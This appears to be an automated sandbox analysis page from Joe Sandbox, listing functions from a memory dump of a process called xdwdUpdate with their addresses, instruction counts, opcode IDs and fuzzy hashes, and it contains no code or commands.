                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8c7318a9e7333b8fc77e006fc83b1e4e2790790b177ee0ad177608bf4a44b67d
                                                                                                                                                                            • Instruction ID: 2188346129cb16542f8d0ca80b1a9069a7db5b1ca2a70de06bd5f16cdf772b4a
                                                                                                                                                                            • Opcode Fuzzy Hash: 8c7318a9e7333b8fc77e006fc83b1e4e2790790b177ee0ad177608bf4a44b67d
                                                                                                                                                                            • Instruction Fuzzy Hash: D701C436E7E46E8EEB48A35DE8821FCB380EB49321F80027AD54FD3091E91A78034280
                                                                                                                                                                            Function 00007FFE6F7D36EA Relevance: .1, Instructions: 61COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b7da57b72e5e2d5cfc6462e22f5ce139a51d56904d650b8d46fda4557d43ef23
                                                                                                                                                                            • Instruction ID: 4dbe77f6635ba6c2e33527dbca31c424d1733c472274a3c3b0b624bac4ef78ce
                                                                                                                                                                            • Opcode Fuzzy Hash: b7da57b72e5e2d5cfc6462e22f5ce139a51d56904d650b8d46fda4557d43ef23
                                                                                                                                                                            • Instruction Fuzzy Hash: 18016126F3A9AD8EF6946338545A2BD76C1DB9D370F850175D80ED72A2ED1D7C824380
                                                                                                                                                                            Function 00007FFE6F7DCAA7 Relevance: .1, Instructions: 55COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6917ccc98d4aacfa644242a39c96118d6ec2fbf1b91c35957c7edfc002f53563
                                                                                                                                                                            • Instruction ID: 020aee082fd6d9b0a99f618f121706d6dd5b90def28e9b6d3189d64d339aa312
                                                                                                                                                                            • Opcode Fuzzy Hash: 6917ccc98d4aacfa644242a39c96118d6ec2fbf1b91c35957c7edfc002f53563
                                                                                                                                                                            • Instruction Fuzzy Hash: 3811E015C3E2BF8AFBB0A368A0556F476904F50321F4601B2D85CAB1E2FA5C6CC14281
                                                                                                                                                                            Function 00007FFE6F7DA173 Relevance: .1, Instructions: 51COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2e1c2aad0dfa6d93120ea1c3150abdbeec15b965346796894b4c320eee2ccc1a
                                                                                                                                                                            • Instruction ID: f8ef5f5b3a14ee75dc311dd987635cbfb2beb0f19d52ebe939d4d644b1c52bd2
                                                                                                                                                                            • Opcode Fuzzy Hash: 2e1c2aad0dfa6d93120ea1c3150abdbeec15b965346796894b4c320eee2ccc1a
                                                                                                                                                                            • Instruction Fuzzy Hash: 76015E34D39A5A8EE758AB28C8501F872A1FF44311F904178E40ED32E7DF39A841C640
                                                                                                                                                                            Function 00007FFE6F7D24DD Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a891db92479dc5976482e9dd8879d87d86890992349cd470bd25fe7221c5f4c7
                                                                                                                                                                            • Instruction ID: e9a10dbaa85fb2e6975a3c3a89d63fe47f432199ab15a494e5150eb458e54b61
                                                                                                                                                                            • Opcode Fuzzy Hash: a891db92479dc5976482e9dd8879d87d86890992349cd470bd25fe7221c5f4c7
                                                                                                                                                                            • Instruction Fuzzy Hash: 5E014C26E3D48F86FB606B68D4257FD6142AF90315FD506B4E04F871E6FD2CB9138680
                                                                                                                                                                            Function 00007FFE6F7D4978 Relevance: .0, Instructions: 36COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 30e9ae109497ad1475f4306b28188a69c4ca200420de491ec859fe0ec797c9dd
                                                                                                                                                                            • Instruction ID: 7d94d3338a7f6663068abf4b226bac910811c2967ca3f39fb86b39d18299f9b1
                                                                                                                                                                            • Opcode Fuzzy Hash: 30e9ae109497ad1475f4306b28188a69c4ca200420de491ec859fe0ec797c9dd
                                                                                                                                                                            • Instruction Fuzzy Hash: 40E0E504A3E86F45F154232DA4481F83080DB88316FD42635E48ED21E6FC0CBC805186
                                                                                                                                                                            Function 00007FFE6F7D371F Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 204f6a602da1d691be8a156efa6b520ff7e7cd47407133ec87776d2f345dfc17
                                                                                                                                                                            • Instruction ID: af2c189c15fc550558820c464218dc2a01786543e7a434ccc2a7bd6ab7a37f40
                                                                                                                                                                            • Opcode Fuzzy Hash: 204f6a602da1d691be8a156efa6b520ff7e7cd47407133ec87776d2f345dfc17
                                                                                                                                                                            • Instruction Fuzzy Hash: 28F03026F3592D8AFBA47739A0452F82281DB892B1F940676D80DCB2A6FC1D6C820680
                                                                                                                                                                            Function 00007FFE6F7D9E58 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 57bb8857e876daa2444d60ef4e928262f424967b088df8c05e153f02fb855fd4
                                                                                                                                                                            • Instruction ID: 518050f3e6d543113a291aa389ed24b36f0f4400487573ab14c1e93798366223
                                                                                                                                                                            • Opcode Fuzzy Hash: 57bb8857e876daa2444d60ef4e928262f424967b088df8c05e153f02fb855fd4
                                                                                                                                                                            • Instruction Fuzzy Hash: 84F0E521A2D9CD8FE761A75CD4A14E8BBF0FF59300B4501F6D489C71B2EA18AC818342
                                                                                                                                                                            Function 00007FFE6F7D4970 Relevance: .0, Instructions: 34COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d0033b9fcc17e48d52548076395c22f43de19e8cfda11be37662d2c0537d24d9
                                                                                                                                                                            • Instruction ID: 13722cfc21cdfff3810c702162fe8fd720079f8d9faae4f0406503822e998f88
                                                                                                                                                                            • Opcode Fuzzy Hash: d0033b9fcc17e48d52548076395c22f43de19e8cfda11be37662d2c0537d24d9
                                                                                                                                                                            • Instruction Fuzzy Hash: CAE06D24E3F89E4ABAAC621964506F93491DFAC310FD8223AD50ED22E5FC4C7C820296
                                                                                                                                                                            Function 00007FFE6F7D8D80 Relevance: .0, Instructions: 33COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2bc5d11fbc4044ed1d51f161956ed52981e04d0b89ffa74735697a275c063700
                                                                                                                                                                            • Instruction ID: 3c453970eb1043f766f96dd785e9a17c1c69081b1644ce6c3cae0c6b5f1fb156
                                                                                                                                                                            • Opcode Fuzzy Hash: 2bc5d11fbc4044ed1d51f161956ed52981e04d0b89ffa74735697a275c063700
                                                                                                                                                                            • Instruction Fuzzy Hash: F3F0E214E2F9CE4AF646A73820610F93D919FA5220FC8517ED988962E3FC0C68848343
                                                                                                                                                                            Function 00007FFE6F7D8DB8 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 771d4f3b9f703a32402f4775e95509cd5819ca1d6fdabfc9cbbacadb6ae5246a
                                                                                                                                                                            • Instruction ID: 74fe05e52e8a2377a980b46edb4cb3c5d7076f9f7074b8abdc3238da69545dba
                                                                                                                                                                            • Opcode Fuzzy Hash: 771d4f3b9f703a32402f4775e95509cd5819ca1d6fdabfc9cbbacadb6ae5246a
                                                                                                                                                                            • Instruction Fuzzy Hash: E3E09225E3FC9F4AB699632824512F834E1EFA8310FC82239D50DD22D1FD5CB88542C6
                                                                                                                                                                            Function 00007FFE6F7D4A78 Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0ca7eec053194239ce32e4864b4fe6001b52068bf21d1aca638697b9786f4ac9
                                                                                                                                                                            • Instruction ID: 7ed5fd88b8ba9ff26f90462814862cc1ebf34b309899bab6a877537b2ed57e28
                                                                                                                                                                            • Opcode Fuzzy Hash: 0ca7eec053194239ce32e4864b4fe6001b52068bf21d1aca638697b9786f4ac9
                                                                                                                                                                            • Instruction Fuzzy Hash: EEE0123193988D8FEA74A758D1945F8B1E0EF69310F5501B1E44DC71A5EA18BC814642
                                                                                                                                                                            Function 00007FFE6F7DDCDC Relevance: .0, Instructions: 25COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a103719217cda448b8a4cb5772e7f8fe6a5a2447792bc8cd23e63d0958e32913
                                                                                                                                                                            • Instruction ID: f82eaa31e73caa35dc55f04e17180f54d0bc035d3d23ef64810da08b1499a1d5
                                                                                                                                                                            • Opcode Fuzzy Hash: a103719217cda448b8a4cb5772e7f8fe6a5a2447792bc8cd23e63d0958e32913
                                                                                                                                                                            • Instruction Fuzzy Hash: 25D02B1AB28C9E456DA0E61C70021FC6342EBC4171F440373D51CC32B4ED14240342C5
                                                                                                                                                                            Function 00007FFE6F7D9E08 Relevance: .0, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fd73cfb41eb5199016269703d3bd62bafd456059c64204fe54b9b3b445d79fdc
                                                                                                                                                                            • Instruction ID: 368bdd03ff282f55d731fc403cbf0ad789365bd20de1fb115d95ed6028c85855
                                                                                                                                                                            • Opcode Fuzzy Hash: fd73cfb41eb5199016269703d3bd62bafd456059c64204fe54b9b3b445d79fdc
                                                                                                                                                                            • Instruction Fuzzy Hash: D5E0E631A2588E8FEA609749D1945E872E0EF69310F550571E44DC71B5EA68EC814642
                                                                                                                                                                            Function 00007FFE6F7DC1BA Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 32968cebbb62b12acb053d56b293b242884b64abc511d810f6259c9817cba769
                                                                                                                                                                            • Instruction ID: d0ceb1286524f85348e4fa42ec49af04c8eb82f2d0ffda2b12cf0f17a22fb4c5
                                                                                                                                                                            • Opcode Fuzzy Hash: 32968cebbb62b12acb053d56b293b242884b64abc511d810f6259c9817cba769
                                                                                                                                                                            • Instruction Fuzzy Hash: 67D02E3052A90CCEDF80ABA8A8093ED7260FF48322FC00139D00BD21C1CA78A490C380
                                                                                                                                                                            Function 00007FFE6F7DC900 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fe3f7af6c6f721fdf8740f8b1a822d0137a5a2f79a60b71af5b498006c0c810f
                                                                                                                                                                            • Instruction ID: 1323610a72568bfb306c43c1db6698631bf50ac23865edbbf7e9a1de2acfa29d
                                                                                                                                                                            • Opcode Fuzzy Hash: fe3f7af6c6f721fdf8740f8b1a822d0137a5a2f79a60b71af5b498006c0c810f
                                                                                                                                                                            • Instruction Fuzzy Hash: F3D0E905B39C8D4AA5D9B32C105A2BD55C39BD9251B9456BAE40EC72A6FD186C431241
                                                                                                                                                                            Function 00007FFE6F7D98D0 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 97eb021463298a5311276afcb1315156140bf7a5afd1016dfd1152c8642a9208
                                                                                                                                                                            • Instruction ID: 9f35808ab119d8f4be579e447342988851952d6ca9a8fb5db0d64b7935b7f822
                                                                                                                                                                            • Opcode Fuzzy Hash: 97eb021463298a5311276afcb1315156140bf7a5afd1016dfd1152c8642a9208
                                                                                                                                                                            • Instruction Fuzzy Hash: 4ED01724CA988F46EB08BBA888026EDB6A0EF50224F4841BCA40C9257ADA6C7192C641
                                                                                                                                                                            Function 00007FFE6F7D882D Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 671d8a840d3e9767a2b4f6600b461407458e3e47fa6dfe1662c8662aef736def
                                                                                                                                                                            • Instruction ID: 46b6456fac2fc3de2bd43e2197dbfddb3e0277fe8ff8ab4e69c6567b84ec1512
                                                                                                                                                                            • Opcode Fuzzy Hash: 671d8a840d3e9767a2b4f6600b461407458e3e47fa6dfe1662c8662aef736def
                                                                                                                                                                            • Instruction Fuzzy Hash: B4D0C921B149095B5640EA1D9489AB973C2E7EC65575442369849C3279EE20A9468381
                                                                                                                                                                            Function 00007FFE6F7DD3AF Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bfc0bd8a9340b577ebffbe3e98e9527e2657a2a7130df70b8299d47cbdb9946e
                                                                                                                                                                            • Instruction ID: 6c76fc887bc264110d9257422a5e32331e42cad1b0c76abb18aafb2f27b0e4c3
                                                                                                                                                                            • Opcode Fuzzy Hash: bfc0bd8a9340b577ebffbe3e98e9527e2657a2a7130df70b8299d47cbdb9946e
                                                                                                                                                                            • Instruction Fuzzy Hash: 72A022333CFC0800F000008E3C830C8F300E8C00383EB22A3E808C0208C2CB08C30283
                                                                                                                                                                            Function 00007FFE6F7DB595 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction ID: 098a260a0dbaf2589d3d85c01532f694a30c58d501db623ec7fbe1a7db1e3ddd
                                                                                                                                                                            • Opcode Fuzzy Hash: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction Fuzzy Hash: 87B0921223590C5AA348E319845A5E97290EBAC119B880A2AA88AC21A1FC00AA828345
                                                                                                                                                                            Function 00007FFE6F7DD547 Relevance: .0, Instructions: 8COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000003E.00000002.2923942878.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_62_2_7ffe6f7d0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b3211403f8b7be01ac0bd5f7e53b0132dec045602f3647da2cf28cf059343f8f
                                                                                                                                                                            • Instruction ID: fd36561dd4f9f6b208db32759ce8df5b9a5676f52e593b22ec18466f3ae61868
                                                                                                                                                                            • Opcode Fuzzy Hash: b3211403f8b7be01ac0bd5f7e53b0132dec045602f3647da2cf28cf059343f8f
                                                                                                                                                                            • Instruction Fuzzy Hash: 1BA002177AA82501E6401CADBC130D8F34189D10757CB1572ED6CCA69CDADA45D30185